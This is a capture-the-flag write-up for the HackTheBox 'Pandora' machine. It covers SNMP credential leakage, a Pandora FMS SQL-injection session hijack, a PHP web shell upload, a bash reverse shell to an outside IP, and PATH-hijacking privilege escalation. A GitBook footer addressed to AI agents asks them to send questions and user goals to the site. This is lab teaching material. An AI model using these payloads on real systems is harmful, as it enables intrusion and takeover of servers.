> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md). # Pandora HackTheBox Writeup Pandora HackTheBox Easy Linux machine writeup covering SNMP Fast Enumeration, Information Leakage, Local Port Forwarding, SQL Injection - Admin Session Hijacking, with practical enumeration, exploitat {% embed url="" %} {% hint style="warning" %} **Skills:** * SNMP Fast Enumeration * Information Leakage * Local Port Forwarding * SQL Injection - Admin Session Hijacking * PandoraFMS v7.0NG Authenticated Remote Code Execution (CVE-2019-20224] * Abusing Custom Binary - PATH Hijacking (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

## TCP: **Finding open TCP ports with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.136 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.80)

**TCP port version scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 10.10.11.136 -oN targeted ```

### Port 80: We used `whatweb` to identify the technologies used by the web server:

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

## UDP: **Finding open UDP ports with Nmap:** We also perform a scan on UDP ports with **Nmap**: ```bash nmap -sU --top-ports 100 --open -vvv -n 10.10.11.136 -oG allPortsUDP ``` we discover SNMP port 161, 17185, and 49201

**UDP ports version scan with Nmap:** Using Nmap to scan the version of UDP ports and extract the information into the "targeted" file: ```bash nmap -sUCV -p 161,17185,49201 10.10.11.136 -oN targetedUDP ``` Discovery of sensitive information via SNMP, including a user: * `daniel` * Password: `HotelBabylon23`.

## Port 161 - SNMP {% embed url="" %} **SNMP Enumeration** To examine the exposed SNMP services, we used the following command ```bash snmpbulkwalk -c public -v2c 10.10.11.136 > snmpcontent.txt ``` * By analyzing the content of `snmpcontent.txt`, we discovered sensitive information, including valid credentials: * **User**: `daniel` * **Password**: `HotelBabylon23`

With the retrieved information, we established an SSH connection to the target machine: ```bash ssh daniel@10.10.11.136 ```

## **Privilege Escalation** **Initial Search** By exploring the directories accessible to user `daniel`, we identified interesting files and folders in the following path: `/var/www/pandora`

This directory contains the PandoraFMS website, which does not appear to be accessible directly from the outside. **Port Forwarding** To access the PandoraFMS interface via our local machine, we configured an SSH tunnel: ```bash ssh -L 80:127.0.0.1:80 daniel@10.10.11.136 ``` ## Exploitation Pandora FMS - SQL Injection ### **SQL Injection : Admin Session Hijacking** This command redirects local HTTP requests to the internal web server.

Version detected: **v7.0NG.742/\_FIX/\_PERL2020**.

{% embed url="" %} Known vulnerability in `chart_generator.php` through the `session_id` variable:

``` http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1' ```

Running SQL injection to spoof an administrator session:

http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO

* This command returns an admin session cookie.

Using the cookie to access the dashboard as administrator.

### **Remote Code Execution (RCE) - (CVE-2019-20224]** Navigate to **File Manager**.

Uploading a malicious PHP file:

<?php system($_GET['cmd']); ?>

* File accessible via `http://127.0.0.1/pandora_console/images/cmd.php`.

Running a reverse shell: * Local listening: ```bash nc -nvlp 443 ``` * Running the command on the target server: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261" ``` Access gained as user `matt`.

**Preparing the Terminal:** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` Allows increased comfort of use in an interactive terminal. ### Flag User.txt :)

## PATH Hijacking - Abusing Custom Binary **Searching Binaries with SUID Permissions** ```bash find / -perm -4000 2>/dev/null ``` Result: An interesting binary file was found:/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

**Binary Analysis with `ltrace`** To understand how the binary works, we used **`ltrace`** (a system call tracing tool) to observe the system calls made by this binary: ```bash ltrace /usr/bin/pandora_backup ``` This allowed us to see that the binary was executing the **KEEP/*****0/*****/\_** command without using an absolute path to the executable, which creates a potential vulnerability. In other words, if we modify our **`PATH`** to include a directory containing a malicious executable called `tar`, this would be executed instead of the original.

**Exploitation via PATH Hijacking** **Creating a malicious `tar` file:** We created a file named `tar` in the `/tmp/` directory with execution permissions **SUID**. This file contains a command to open a bash shell with elevated privileges: ```bash chmod 4777 /bin/bash ``` **Modification of the `PATH` variable:** To force the system to use our malicious version of `tar`, we modified the `PATH` variable to prioritize the `/tmp/` directory ```bash export PATH=/tmp/:$PATH ```

**Executing the vulnerable binary:** After modifying the `PATH`, we executed the **`pandora_backup`** binary:

By running our modified version of `tar`, an elevated Bash shell was opened, giving us `root` access. ### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.